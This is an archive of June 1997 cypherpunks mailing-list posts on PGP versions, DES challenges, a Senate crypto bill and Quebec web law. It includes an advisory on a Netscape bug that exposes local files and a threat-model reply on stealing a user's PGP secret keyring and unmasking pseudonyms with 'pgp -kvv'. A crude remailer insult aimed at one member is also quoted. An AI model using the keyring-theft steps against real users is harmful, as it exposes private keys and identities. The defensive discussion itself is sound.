 What d'ya mean??? PGP 5.0 is much more (not USD 50 in any case);
freeware PGP (latest version 2.6.2 for USA and 2.6.3i outside US)
is working just fine in MS-Dos shell under windoze'95... If you
mean specific shell (what I doubt), it's not PGP itself and you'll
still will get those dos windows anyway...


--
greetz... Arunas Norvaisa - little guy, The Masses Inc.
 with subject: 'send key' to get PGP key
PGP for idiots page 
  and a mirror site 
Programming Department:  Mistakes made while you wait.






From rah at shipwright.com  Tue Jun 17 07:57:18 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 17 Jun 1997 22:57:18 +0800
Subject: Declan as a Budding Washington Insider
In-Reply-To: 
Message-ID: 



At 2:30 am -0400 on 6/17/97, Bill Stewart wrote:

> Foo ...  On a list with several millionares, people who make the
> New York Times Magazine cover, people who get in the Times for
> successfully suing the NSA, college students who get covered on
> National Public Radio, people who were in Wired before it was c001,
> people who drop in on Esther in New York because they'll be too
> busy to see her at Hackers', people who were Xanadudes or SGML hackers
> decades before the Web caught on, people who were on the Well
> before that Grateful Dead lyricist got there, various wizards of
> speed and time, folks who have Japanese tv crews show up for their parties
> and already know Tim Leary when he drops... by, I'd say we have enough
> people who are or know Silicon Valley insiders to really complain much
> when people from the Other Coast talk about who _they_ had lunch with :-)

Wow. How utterly cool. I guess it's time to move. Your country sounds waay
better than my country...

;-)

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From stutz at dsl.org  Tue Jun 17 09:21:03 1997
From: stutz at dsl.org (Michael Stutz)
Date: Wed, 18 Jun 1997 00:21:03 +0800
Subject: McVeigh Sentence
In-Reply-To: <199706170849.BAA28709@fat.doobie.com>
Message-ID: 



On Tue, 17 Jun 1997, Huge Cajones Remailer wrote:

>   I was watching Dateline NBC interview the McVeigh jurors about the
> trial and the interviewer asked them what they found to be the strongest
> or most convincing evidence against McVeigh.
>   A grandmotherly type answered that the most convincing of the evidence
> against him was the pictures of the dead bodies.

I went out with a nabor last Friday night to get a beer at a local townie
bar. They had a small dance floor with the typical bad music. When the
deejay put on the Village People's "YMCA" he turned down the volume during
the "Y - M - C - A" chorus and led the redneck crowd through his own
version: "Fry Tim McVeigh," which they sang.






From paul at fatmans.demon.co.uk  Tue Jun 17 09:22:19 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Wed, 18 Jun 1997 00:22:19 +0800
Subject: [DES] Anguilla surpasses US military in code breaking challe
In-Reply-To: <199706161546.IAA05715@toad.com>
Message-ID: 




> They have not released their source code for independent 
> evaluation. I for one would feel a lot more comfortable with
> DESChall if there was at least some outside review, even if
> no general release is made.

I do not keep up with the various DES challenge efforts: Did DESChall 
ever give a reason for not releasing source code?
Has anyone tried reverse engineering the executable? 

Does anyone have statistics on how quick deschall is as opposed to, for 
example, Bryddes? If they haven`t released source code and it is 
significantly faster it may be they have further key schedule 
optimisations they do not wish to share.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From karl_deardorff at icpmech.navy.mil  Tue Jun 17 09:54:43 1997
From: karl_deardorff at icpmech.navy.mil (Karl Deardorff)
Date: Wed, 18 Jun 1997 00:54:43 +0800
Subject: signup
Message-ID: <33A67785.1989@icpmech.navy.mil>



signup






From alano at teleport.com  Tue Jun 17 10:27:00 1997
From: alano at teleport.com (Alan)
Date: Wed, 18 Jun 1997 01:27:00 +0800
Subject: PGP for Windows 95
In-Reply-To: <3.0.32.19970617171734.00688900@post1.com>
Message-ID: 



On Tue, 17 Jun 1997, after failing to connect with a clue-server Arunas
Norvaisa wrote:

> On 08:55 AM 97.06.17 +0000, Silvakow wrote (and I quoted):
> >
> >Has anyone yet checked out PGP for Windows 95?  It's $50 at stores 
> >right now.  Information from pgp.com, but I want to know more before 
> >I buy it.  Is it worth it?  Should I stick with PGP for DOS?  And 
> >does anyone know if those PGP public keys are compatible with DOS 
> >PGP?
> 
>  What d'ya mean??? PGP 5.0 is much more (not USD 50 in any case);
> freeware PGP (latest version 2.6.2 for USA and 2.6.3i outside US)
> is working just fine in MS-Dos shell under windoze'95... If you
> mean specific shell (what I doubt), it's not PGP itself and you'll
> still will get those dos windows anyway...

I have not seen the PGP inc. version in stores.  Possible... ($50.00 is
about the standard price for similar products at Egghead and other mass
market chains.)

As for PGP 5.0 for Win95...  It is a full version of PGP.  It is
compatible if you set the options correctly.  It also contains a number of
new signature and key formats that are not backwards compatible.  It is a
real Win95 program and not a realmode DOS hack.  (It would be nice if it
would work on my machine, but that is another story...)

As for the DOS versions "working just fine"...  That depends if you need
to use long filenames or not.  If you don't then there is no real problem.
If you do, you or the shell has to hack around it.

It might help if you go to PGP's web site and take a look about what he is
talking about bbefore commenting.

alano at teleport.com | "Those who are without history are doomed to retype it."






From whgiii at amaranth.com  Tue Jun 17 10:34:37 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 18 Jun 1997 01:34:37 +0800
Subject: McVeigh Sentence
In-Reply-To: 
Message-ID: <199706171650.LAA04261@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/17/97 
   at 12:07 PM, Michael Stutz  said:

>On Tue, 17 Jun 1997, Huge Cajones Remailer wrote:

>>   I was watching Dateline NBC interview the McVeigh jurors about the
>> trial and the interviewer asked them what they found to be the strongest
>> or most convincing evidence against McVeigh.
>>   A grandmotherly type answered that the most convincing of the evidence
>> against him was the pictures of the dead bodies.

>I went out with a nabor last Friday night to get a beer at a local townie
>bar. They had a small dance floor with the typical bad music. When the
>deejay put on the Village People's "YMCA" he turned down the volume
>during the "Y - M - C - A" chorus and led the redneck crowd through his
>own version: "Fry Tim McVeigh," which they sang.

That's why I don't frequent such places any more.

"There needs to be lifeguards at the shallow end of the gene pool"

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6bA3I9Co1n+aLhhAQETwAP+LCscZaTP3qc/5PnOFuANYY+eneQthjRH
0mKltRMv8EW+hwK9UR2CDarUCf2mwrdDQQWm6PU5Kh2FCNy47nJV7n8PltOxLLAQ
uWAUh8Kxl0p7Tpofg8tXW+MR4AsVF//iPBzuAgCI0vRUUnwD0hDJ2lryGNgXFEJv
6CsV4+2ZNvw=
=zuu4
-----END PGP SIGNATURE-----






From alano at teleport.com  Tue Jun 17 10:47:30 1997
From: alano at teleport.com (Alan)
Date: Wed, 18 Jun 1997 01:47:30 +0800
Subject: The McVeigh Video Game
In-Reply-To: 
Message-ID: 



On Tue, 17 Jun 1997, Michael Stutz wrote:

> I went out with a nabor last Friday night to get a beer at a local townie
> bar. 

Jim Nabor?

> They had a small dance floor with the typical bad music. When the
> deejay put on the Village People's "YMCA" he turned down the volume during
> the "Y - M - C - A" chorus and led the redneck crowd through his own
> version: "Fry Tim McVeigh," which they sang.

I am expecting Tim McVeigh to show up in a video game any day now.  Check
out some of the games at the local arcade.  See who the villians in the
"shoot-em-up" games are...  Used to be "drug dealers".  Now it is
"terrorists".  And you get to be the one to "blow the badguys away".  (In
my more paranoid moments I equate it to a plot to get people to side with
the government on the next televised shoot-the-bad-guys
spectacle/stand-off.)  In one, you get to go after them in a hellicopter!
(Painted black, no doubt...)

And you don't see any mothers protesting what this will do to their
kids...

Will the next video game target be evil cryptographers?

alano at teleport.com | "Those who are without history are doomed to retype it."






From stutz at dsl.org  Tue Jun 17 10:48:49 1997
From: stutz at dsl.org (Michael Stutz)
Date: Wed, 18 Jun 1997 01:48:49 +0800
Subject: The McVeigh Video Game
In-Reply-To: 
Message-ID: 



On Tue, 17 Jun 1997, Alan wrote:

> I am expecting Tim McVeigh to show up in a video game any day now.  Check
> out some of the games at the local arcade.  See who the villians in the
> "shoot-em-up" games are...  Used to be "drug dealers".  Now it is
> "terrorists".  And you get to be the one to "blow the badguys away".

Read a similar theme last night in James Kunstler's New Urbanist manifesto,
_The Geography of Nowhere_. He talks of the currently-ruling corporate
society's romanticism of the past in a discussion of the psychological
techniques used on parents and children in the Disney theme parks. Actors
guised as pirates, cowboys or brigands all stage "shoot-em-ups" to the
entertainment of middle-class families; he wonders if, in 100 years hence,
the status quo families of the age will watch reinactments of black gangsta
youth and their drive-by shootings.






From tcmay at got.net  Tue Jun 17 11:12:44 1997
From: tcmay at got.net (Tim May)
Date: Wed, 18 Jun 1997 02:12:44 +0800
Subject: Declan as a Budding Washington Insider
In-Reply-To: 
Message-ID: 



At 11:30 PM -0700 6/16/97, Bill Stewart wrote:

>Foo ...  On a list with several millionares, people who make the
>New York Times Magazine cover, people who get in the Times for
>successfully suing the NSA, college students who get covered on
>National Public Radio, people who were in Wired before it was c001,
>people who drop in on Esther in New York because they'll be too
>busy to see her at Hackers', people who were Xanadudes or SGML hackers
>decades before the Web caught on, people who were on the Well
>before that Grateful Dead lyricist got there, various wizards of
>speed and time, folks who have Japanese tv crews show up for their parties
>and already know Tim Leary when he drops... by, I'd say we have enough
>people who are or know Silicon Valley insiders to really complain much
>when people from the Other Coast talk about who _they_ had lunch with :-)

I asked Marc what he thought of this, and he suggested we wander over and
ask Ted. Ted said it had to do with everything being deeply intertwingled.
The other Ted, the microprocessor guy, just wanted to get back to
woodworking.

Later on I ran into Whit and he said he hadn't given it much thought, but
that maybe Larry had.

I resolved to ask Gordon how he dealt with this situation, but I may not
run into him for awhile.

Next Saturday I'll ask Woz, assuming he show's up at Alan's party as he
usually does.

What was your point again?

(On a serious note, I take Bill's point. But I am not criticizing Declan's
growing list of contacts, I am really commenting on the "gossipy" aspect of
all D.C. politics. "There's no there, there," to paraphrase the Other
Dorothy (and not the Oz one). In D.C., the whole political process is a
series of social contacts. This is markedly different from life here in the
Greater Bay Area (100 miles north-south, 20 miles east-west), where the
technology and products dominate over gossip. Or so I think. Reporters in
the Bay Area are much less dependent on spin doctors for their stories.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at huge.cajones.com  Tue Jun 17 11:26:14 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 18 Jun 1997 02:26:14 +0800
Subject: Netscape Bug Reproduced
Message-ID: <199706171730.KAA09893@fat.doobie.com>



Subject: Netscape privacy problem reproduced at EIFIST
Date:    6/16/97 5:34 PM
     
Netscape privacy problem:
     
Using information gleaned from the web site of the Danish company that 
first reported the problem, Keith Woodard and Dave Humphrey at EIFIST 
have built a web page which reproduces the privacy problem in Netscape 
Navigator and Communicator web browsers.  From that effort they have 
developed a better understanding of how the Netscape bug works, and what 
defensive measures users can take until a bugfix is available from 
Netscape.
     
First, the problem is indeed read-only, and involves only files to which 
the explicit path name is known.  Second, all file systems accessible 
from the Netscape user's system are reachable -- that means mapped 
network drives as well as the local hard disk.  Third, JavaScript can be 
used by a web site to automate reading a user's file so that it is 
invisible to the user.  However, the bug does not involve use of Java at 
all.
     
The demo website can be visited at the following URL:
     
     http://eifist.frb.org/hacker/fileupload.html
     
Please urge all Internet web users to take the following interim steps until a
permanent fix is available from Netscape:
     
*  In Navigator 3.x and 2.x, go to the Options menu and select Security 
   Preferences. Select the "Submitting a Form Insecurely" preference to  
   enable that warning dialog box.  This will generate a warning box 
   whenever a site tries to upload a form, giving the user a chance to 
   decide whether to allow it.
     
*  Also, in Navigator 3.x and 2.x, go to the Options menu and select
   Network Preferences.  Turn OFF the "Enable JavaScript" preference. 
   This will block execution of JavaScript code which might try to 
   perform an invisible file upload, while permitting display of the     
   rest of the page.
     
These measures are temporary until a full bug fix is made 
available by Netscape and proven against the EIFIST demo page.  
     
Regards






From real at freenet.edmonton.ab.ca  Tue Jun 17 11:26:48 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Wed, 18 Jun 1997 02:26:48 +0800
Subject: [IMPORTANT] Accounts payable
In-Reply-To: <199706171153.EAA00765@fat.doobie.com>
Message-ID: 



On Tue, 17 Jun 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.


> Timmy C. May styles his facial hair to look more like pubic hair.
> 
>        .oooO           Oooo.
>        (   )   _   _   (   )
>         \ (   / ) ( \   ) /
>      ----\_)-/ (---) \-(_/---- Timmy C. May
>             (   ) (   )
>             oooO   Oooo
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email :  : 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From tcmay at got.net  Tue Jun 17 11:55:37 1997
From: tcmay at got.net (Tim May)
Date: Wed, 18 Jun 1997 02:55:37 +0800
Subject: Declan as a Crime Beat Reporter
In-Reply-To: 
Message-ID: 




Another way of viewing the Washington reporter problem is to view him as a
Hollywood reporter, sort of an Army Archerd character "doing lunch" at
Chasen's and The Brown Derby, not to mention doing lines at the Viper Club.

But a more accurate comparison is to crime beat reporters, those scribblers
who hang out at the Mafia watering holes and social clubs (when they're
allowed in, to spin a story in a favorable way), reporting on the turf
battles between the rival factions, and leaking out rumors of who's
planning to make a move on Vinnie Bones.

Washington is more than just a "pork barrel"...it's the world's largest and
most lavishly funded criminal enterprise, with "dons" dispensing pork to
supplicants, with new agencies intervening in private and corporate
transactions to throw roadblocks up, the better to extract tribute.

One can imagine Declan's story:

So I was like nervous as I met Donny the Arm, consigliero for the Kennedy
Family, at a dark little Irish pub in Georgetown. I could see he'd brought
some SS muscle with him, waiting out in his beamer. Nervous because I knew
what the Don's men had done to that reporter covering the Mary Jo Kopechne
accident.

So I got right to the point.

"I hear Billy the Chin is prepared to give some "consideration" to Jimmy
out in the Valley if he gets some consideration in return, something like a
5 big ones contribution to the Midnight Video Arcade program?," I asked.

"Ya heard right. Nobody said like we're no reasonable, or sumpin.' Say,
what's a good mick like you doin' talking to that wop D'Amato?," the aide
to Don Eddie said. I pressed him to return to the point about allowing
Netscape to export full-strength crypto if they make a contribution to the
President's favorite inner city program.

"Well," Donny the Arm said, "It's like this: before we tell the guys over
in Export to let his stuff out, we would, like, want some consideration." I
was puzzled, so I asked him what kind of consideration he was tallking
about.

"You wearin' a wire or sumpin'? Yo, you fall out of a tree, or sumpin'?"

My next visit that night was to a posh hunting lodge out in horse country,
home of most of the dons in the Reps Gang. Their leader, Newt the Shooter
laid it out in his own straight-shooting style.

"We're prepared to deal. If Billie the Chin signs off on the tax cuts to
our industries, and if the tobacco subsidy is restored, we're prepared to
support the Family's plan to repeal the First Amendment. It  hardly fits
with family values, anyway."

I had two more parties to get to that night, so I bid the boys a good night
and got back in my beat up car and headed off to Dupont Circle. I heard
that Sally the Schemer, doyenne of the Washington social circle, had some
juicy news on how Dotty the Crypto Chick was being placed in the Witness
Security Program.


One more day in the life of Declan McCullagh, Washington Crime Family Reporter

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From rah at shipwright.com  Tue Jun 17 13:44:30 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 18 Jun 1997 04:44:30 +0800
Subject: Declan as a Crime Beat Reporter
In-Reply-To: <3.0.2.32.19970616233000.0075a9f4@popd.ix.netcom.com>
Message-ID: 



At 2:43 pm -0400 on 6/17/97, Tim May wrote:


> I had two more parties to get to that night, so I bid the boys a good night
> and got back in my beat up car and headed off to Dupont Circle. I heard
> that Sally the Schemer, doyenne of the Washington social circle, had some
> juicy news on how Dotty the Crypto Chick was being placed in the Witness
> Security Program.
:-)


Don't quit your day job, Tim.

Cheers,
Hunter S. Hettinga


-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From jya at pipeline.com  Tue Jun 17 13:48:10 1997
From: jya at pipeline.com (John Young)
Date: Wed, 18 Jun 1997 04:48:10 +0800
Subject: LAN_law
Message-ID: <1.5.4.32.19970617202350.006ee2e8@pop.pipeline.com>



Los Alamos lab is using its supercomps to develop
pattern-recognition programs to spot fraud in
the health care system similar to work for IRS
to spot tax cheats.

LAN_law







From jya at pipeline.com  Tue Jun 17 13:52:54 1997
From: jya at pipeline.com (John Young)
Date: Wed, 18 Jun 1997 04:52:54 +0800
Subject: LOW_orb
Message-ID: <1.5.4.32.19970617203001.00696ee4@pop.pipeline.com>



Motorola plans to loft its third low-orbit sat system,
dubbed Celestri, for high-speed data, video and 
broadcast. That will make 7 systems for highbanding
low wares.

LOW_orb






From enoch at zipcon.net  Tue Jun 17 14:24:54 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Wed, 18 Jun 1997 05:24:54 +0800
Subject: New PGP Key
Message-ID: <199706172113.OAA17930@zipcon.net>



-----BEGIN PGP SIGNED MESSAGE-----

Just a brief note to say that I have generated a new 1024 bit PGP key for
my new ISP, zipcon.net.  I have signed this key with itself, and with my
Netcom key. 

Unlike my Netcom key, whose passphrase is only typed when I am alone with
my PC, the Zipcon key will be used on a multi-user Linux system for
signing posts and other such things, and will not be secure against having
its passphrase sniffed. 

Feel free to use the Zipcon key for casual commuication, but "Eyes Only"
stuff should ONLY be encrypted with the Netcom key.

- --
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
  





-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM6b9g8A6o0SuPU79AQGF9gP+MhGUUv6dL6T6gETgujfI61s52AFzrO8a
/akS0492PdLoGLMvKbco+icnkQ6BQyJQw2lrV3G3mghQxXOBpJojW8z5mxD/eTUm
QpaTO+AxiEnEQQcWb5X9PGGlJ/LLiJIo3Tc99DJhTIYgSTIkgNtYD7IgvAhziMwr
jMHQjq9R/j8=
=3UMb
-----END PGP SIGNATURE-----


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzOm9YkAAAEEANXQ12uCbPMlbON1kwbHfaLZ79MaSQCmB1AJ399gmt6LhYR5
aWtbeuRzDw1m5lF0hDveWDga1WG9PY7WQ0nq/W+Ww9SrrTPCI055rUW5RcAeKUNS
Y6udUoCojMRT5bHMi/7CUm3OYtCw2T9DAE9NerOJ8IVpusqeVMA6o0SuPU79AAUR
tB1NaWtlIER1dm9zIDxlbm9jaEB6aXBjb24ubmV0PokAlQMFEDOmlcY1TNKt+Wg9
AQEBKygD/ih1A1mjYcq8mrMmcBgDIAzu3RCbBv/uYGRXXherjKhrpdvHNTzd/LFF
Z/Akg3owYhMJbHa9cbu4pCe1U+YgmGWqrsoXsuF87KrwUoO/HYI6ggosRhMazhdT
0H/zudqIMlyxXwLZqMiGI5XEkyHmkX4Jodh+SC7u7i1SjWTvYhCziQCVAwUQM6b1
8sA6o0SuPU79AQF+XAQAxKBswtbUe1/dforndHQ0+Fh6oRjdrfod3X/UQp3WIO+t
cdSd0Vk2zVklECSV/vDjwEI46W9ZK/LVWhLuxVsGNJOnEYUFHfm89QIA7h8BkiIf
iwRYdbrA32mHiogyy552Rq2YMOtQxa5T0/LrNSgOesXNV1UYBNC7bLkj3iA7gag=
=f3h5
-----END PGP PUBLIC KEY BLOCK-----






From shamrock at netcom.com  Tue Jun 17 14:41:31 1997
From: shamrock at netcom.com (Lucky Green)
Date: Wed, 18 Jun 1997 05:41:31 +0800
Subject: [DES] Anguilla surpasses US military in code breaking challe
In-Reply-To: 
Message-ID: 



The DESCHALL source is available under NDA. The timings of the various 
DESCHALL clients are on their homepage at 
http://www.frii.com/~rcv/deschall.htm


-- Lucky Green  PGP encrypted mail preferred

On Mon, 16 Jun 1997, Paul Bradley wrote:

> 
> > They have not released their source code for independent 
> > evaluation. I for one would feel a lot more comfortable with
> > DESChall if there was at least some outside review, even if
> > no general release is made.
> 
> I do not keep up with the various DES challenge efforts: Did DESChall 
> ever give a reason for not releasing source code?
> Has anyone tried reverse engineering the executable? 
> 
> Does anyone have statistics on how quick deschall is as opposed to, for 
> example, Bryddes? If they haven`t released source code and it is 
> significantly faster it may be they have further key schedule 
> optimisations they do not wish to share.






From gbroiles at netbox.com  Tue Jun 17 14:50:54 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Wed, 18 Jun 1997 05:50:54 +0800
Subject: Kerrey bill introduced in Senate
Message-ID: <3.0.2.32.19970617144146.009656c0@mail.io.com>




Sen. Kerrey's evil "Secure Public Networks Act" was introduced in the
Senate today, cosponsored by Sen. McCain. 

The bill, if passed, would:

Criminalize the knowing use of crypto to encrypt data or communications in
furtherance of a crime; (s. 104)

Criminalize breaking another person's ciphertext for the purpose of
violating their privacy, security, or property rights; (goodbye, Netscape
bugs bounty and DES/RC4 cracks) (s. 105(3))

Criminalize intercepting another's intellectual property for the purpose of
violating intellectual property rights (s. 105(4))

Criminalize issuing a key to another person in furtherance of a crime (s.
105(6))

Require federal government purchasers of crypto equipment to buy GAK
crypto; (s. 202, 204)

Require crypto products purchased with federal funds for use on a public
network to employ GAK crypto; (s. 203, 205)

Legalize the export of 56-bit DES crypto; (s. 302)

Criminalizes the issuance of signature certificates by registered CA's for
encryption keys if the user has not complied with GAK procedures; (s.
407(a)(4))

Criminalizes requesting a signature certificate for an encryption key from
a registered CA if the user has not complied with GAK procedures; (s.
407(a)(5))

Allows the Secretary of Commerce to "make investigations, obtain
information, take sworn testimony, and require reports or the keeping of
records by .. any person", to the extent necessary to enforce the Act; (s.
701(a))

Allows the Secretary of Commerce to subpoena witnesses and documents in any
State at any designated place; (s. 701(b)(3)(A))

Allows the Secretary of Commerce to impose civil/adminstrative penalties of
up to $100K for violations of the Act; (s. 702(1))


Ugh. The original is online at
, mirrored at
.




--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From alano at teleport.com  Tue Jun 17 15:31:26 1997
From: alano at teleport.com (Alan)
Date: Wed, 18 Jun 1997 06:31:26 +0800
Subject: Impact of Netscape kernel hole (fwd)
In-Reply-To: 
Message-ID: 



On Sat, 14 Jun 1997, Paul Bradley wrote:

> 
> 
> >It'd be nice to have more specifics about the whole situation, but
> >regardless - any preliminary threat assessments?  Exactly how widely
> >exploited do you think this has been?
> >
> >Tim's post (although refuted by Marc) raises some serious issues since I
> >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp
> >
> >Some coherent input on the possible impact of this would be appreciated.
> 
> Basically the threat model is very simple:
> 
> Joe "slightly crypto-savvy pgp user" sixpack keeps his pgp keyring in 
> c:\pgp on a dos/w95 box. The average user of any of the unices keeps his 
> keyring in /usr/pgp or /usr/local/pgp it does not take a lot of attempts 
> to go through most of the common places.
> 
> The very same guy probably has a password that is:

[snip]

> Can you say "dictionary attack"???. 

There is another, more insidious attack to worry about.

Joe Cypherpunk has his PGP secret keyring in the "standard location".  Joe
Cypherpunk has also been posting to "Unpopular Usenet Group #666" (be it
alt.religion.scientology or alt.clinton.fisting) using a nym(s) which have
keys on the PGP keyring.

All the perp has to do, once the secring.pgp is obtained is "pgp -kvv
secring.pgp" and he now knows that Joe Cypherpunk and Secret Nym are the
same person.

This is a *BAD* thing.

alano at teleport.com | "Those who are without history are doomed to retype it."






From frogfarm at yakko.cs.wmich.edu  Tue Jun 17 15:33:00 1997
From: frogfarm at yakko.cs.wmich.edu (Damaged Justice)
Date: Wed, 18 Jun 1997 06:33:00 +0800
Subject: 4471.html
Message-ID: <199706172233.SAA21817@yakko.cs.wmich.edu>




   Web Anglais? Non, S'il Vous Plait --> Ashley Craddock -->
   [1]arrow Web Anglais? Non, S'il Vous Plait
   by [2]Ashley Craddock
   
   9:02am  17.Jun.97.PDT When Quebec computer-store owner Morty Grauer
   got a letter telling him to get rid of his Web page, change it, or
   else, he rolled over. But he wasn't happy about it.
   
   "I don't need subpoenas, fines, or going to court," Grauer told the
   [3]Montreal Gazette. "But what gets my goat is when they make me do
   something. I'm enraged right now. How can they tell you what to do on
   the Internet?"
   
   But according to the Quebec's Office de la Langue Francaise, they can
   do it pretty easily - jurisdictional issues notwithstanding. Because
   Grauer's Web site was in English, because it was on a Quebecois
   server, and because it had no French component, his [4]microbytes.com
   was illegal, plain and simple.
   
   "The Micro-Bytes Web page violated the Charter of the French
   Language," spokesman Gerald Paquette said Monday. So on 29 May, the
   OLF sent Grauer a letter, threatening to revoke his certificate of
   "francization," a legal necessity for businesses with 50-plus
   employees. Grauer has said he will comply as of 1 July.
   
   Crafted in the pre-Internet 1970s, Quebec's Charter of the French
   Language stipulates that commercial publications such as catalogs,
   brochures, leaflets, and commercial directories must be available in
   French. It also denies English-language education to immigrants, even
   those from English-speaking countries. (A separate Canadian federal
   law on bilingualism has a much more limited scope, requiring the
   government to publish information in both English and French.)
   
   In the separationist furor that has raged over Quebec for decades, the
   charter has been a highly controversial bulwark against anglicization
   and cultural dilution. In Montreal, large businesses are bilingual. On
   the streets, English words are no longer displayed. In homes and
   schools, the phrase, "le weekend," common parlance in France, is
   almost never heard.
   
   But whether or not the 20-year-old charter will have any teeth in the
   age of the Internet and free trade remains unclear.
   
   Although the charter has been relatively successful in terms of
   maintaining linguistic purity, its economic effects have been harsh:
   An estimated 300,000 residents and 1,000 businesses have left the
   province since the law was passed. And the Internet is expected to
   exact a high toll for such linguistic balkanization: An estimated 90
   percent of online communications are in English, only 2 percent in
   French.
   
   In France itself, where linguistic purity campaigns have recently
   taken on some degree of political chic, language activists have sued
   three sites under a 1994 law that bans single-language advertising in
   any language but French. The suits, which would have tested the law's
   application to Web sites for the first time, were dismissed last week
   on a technicality.
   
   In the free-speech-happy Internet, however, a four-year-old United
   Nations ruling may prove the most ominous indicator for attempts to
   enforce language purity: After reviewing the case of an
   English-speaking Canadian forced to call his funeral home a "salon
   funeraire," The UN's Human Rights Council found that the Canadian
   charter was in violation of the free-speech provision of the
   International Covenant on Civil and Political Rights.
   
   Still, the Office de la Langue Francaise is determined to hold the
   linguistic line.
   
   "Quebec wants to be a player in the global market, but there's a real
   chance it will erode our sense of language, of identity," Paquette
   said. "It's the same thing with the Internet: We feel threatened by
   it. It gives us the possibility of communicating with French speakers
   in France, Belgium, Switzerland, and North Africa, but English is the
   lingua franca of the Web. If we don't enforce this law, that'll only
   be more true in the future."
   Related Wired Links:
   [5]Web Sites Foil Canada's Election Poll Ban
   3.Jun.97
   [6]Canadian Election Law Prompts Web Site Battle
   27.May.97
   [7]arrow
   
   [8]Find Read a story in the Wired News archive.
   [9]Feedback Let us know how we're doing.
   [10]Tips Have a story or tip for Wired News? Send it.

        [11]Copyright � 1993-97 Wired Ventures, Inc. and affiliated companies.
        All rights reserved.

References

   1. http://www.wired.com/news/top_stories/
   2. mailto:craddock at wired.com
   3. http://www.montrealgazette.com/
   4. http://www.microbytes.com/main.html
   5. http://www.wired.com/news/topframe/4221.html
   6. http://www.wired.com/news/topframe/4081.html
   7. http://www.wired.com/news/top_stories/
   8. http://www.wired.com/news/search.html
   9. mailto:newsfeedback at wired.com
  10. mailto:tips at wired.com
  11. http://www.wired.com/wired/full.copyright.html






From rah at shipwright.com  Tue Jun 17 16:25:50 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 18 Jun 1997 07:25:50 +0800
Subject: Kerrey bill introduced in Senate
Message-ID: 




--- begin forwarded text


X-Sender: gbroiles at mail.io.com (Unverified)
Date: Tue, 17 Jun 1997 14:41:46 -0700
To: cypherpunks at cyberpass.net
From: Greg Broiles 
Subject: Kerrey bill introduced in Senate
Mime-Version: 1.0
Sender: owner-cypherpunks at cyberpass.net
Precedence: bulk
Reply-To: Greg Broiles 
X-Loop: cypherpunks at cyberpass.net


Sen. Kerrey's evil "Secure Public Networks Act" was introduced in the
Senate today, cosponsored by Sen. McCain.

The bill, if passed, would:

Criminalize the knowing use of crypto to encrypt data or communications in
